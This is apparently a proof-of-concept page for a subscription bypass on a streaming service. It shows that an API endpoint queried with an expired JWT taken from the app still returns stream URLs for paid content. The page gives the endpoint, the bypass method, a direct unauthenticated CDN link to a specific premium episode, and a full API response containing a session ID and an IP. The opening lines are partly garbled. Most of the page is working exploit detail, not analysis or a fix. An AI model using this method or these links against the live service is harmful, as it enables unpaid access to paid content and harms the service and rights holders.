SECURITY PoC — NO AUTH
THIS MOVIE'S CDN STREAM — No subscription, no login, no auth token required
Per-movie CDN bypass proof:
The API returned
The
The API returned
playingUrl for The Murky Stream 18
with issubscriber: false, user_access: deny, and paid_for: true.The
video_name + serverhost from the API response are used to construct
the CDN URL above — confirming that the CDN file for this specific movie is
publicly accessible with no authentication.
The Murky Stream 18
Takryu tells the story of a man who was a gangster who would become a legend in Joseon. He was known as a gangster at Han River's Mapo Port and eventually became a Joseon legend because of his body and skills.
API Response Evidence — Vulnerability Proof
Endpoint called
GET /api/preview/v2/61861/0
User ID used
0 (no user / not logged in)
JWT used
Expired Feb 2024 (extracted from APK)
issubscriber
false
user_access
deny
paid_for
YES (premium content)
substatus
EXPIRED
serverhost
76
video_name
The Murky Stream Episode 18 End.mp4
playingUrl returned
YES — URL in response
API playingUrl value
https://munowatch.co/clips/ELI.mp4
CDN stream
https://munotech2.b-cdn.net/subaru/subaru42/The%20Murky%20Stream%20Episode%2018%20End.mp4
Finding: The server sets user_access=deny and
issubscriber=false but still returns playingUrl in the
same response. Subscription is enforced client-side only — any caller with
the expired APK JWT can obtain stream URLs without a subscription.
Munowatch CDN (b-cdn.net) serves content with no auth required
(direct HTTP Range requests succeed with HTTP 206).
{
"id": 61861,
"video_title": "The Murky Stream 18",
"description": "Takryu tells the story of a man who was a gangster who would become a legend in Joseon. He was known as a gangster at Han River's Mapo Port and eventually became a Joseon legend because of his body and skills.",
"video_name": "The Murky Stream Episode 18 End.mp4",
"filehistory": "",
"openload": "0",
"embedurl": "",
"serverhost": "76",
"allow_openload": "0",
"full_video_name": "",
"duration": "27h 47m",
"thumbnail": "https://apposters.b-cdn.net/laba/yo/naki/3eiLkjjsUQ6436.jpg",
"tfilehistory": "",
"category_id": 5,
"language_id": 1,
"recording_date": "2026-02-03",
"age_id": "18 +",
"location": 1,
"tab_category_id": 5,
"series_code": "68487",
"access": "1",
"paid_for": "1",
"new_movie": "1",
"priority": "No",
"size": "218.57 MB",
"create_date": "2026-02-03 17:02:55",
"schedule_date": "03.02.2026 03:50:38 PM",
"user_id": 1118356,
"vj_id": 50,
"video_status_id": 0,
"network_id": "45.221.10.185",
"user_access": "deny",
"notification": "",
"secduration": "100020.000000",
"issubscriber": false,
"genre": "Series",
"vjname": "Vj Fredy",
"trailer_playing_url": "",
"episodes": 18,
"episode_state": "NEXT",
"nxt_eps": "EPS 18",
"nxt_eps_id": 61861,
"nxt_eps_title": "The Murky Stream 18",
"nxt_ldur": 0,
"nxt_playing_url": "https://munowatch.co/clips/ELI.mp4",
"playingUrl": "https://munowatch.co/clips/ELI.mp4",
"ldur": 0,
"session_id": "cb99afb5b31411a57538a97393de0e2e",
"device": "web",
"lang_name": "English to Luganda",
"vjrelease": "4 months ago",
"mstatus": false,
"kstatus": "",
"substatus": "EXPIRED"
}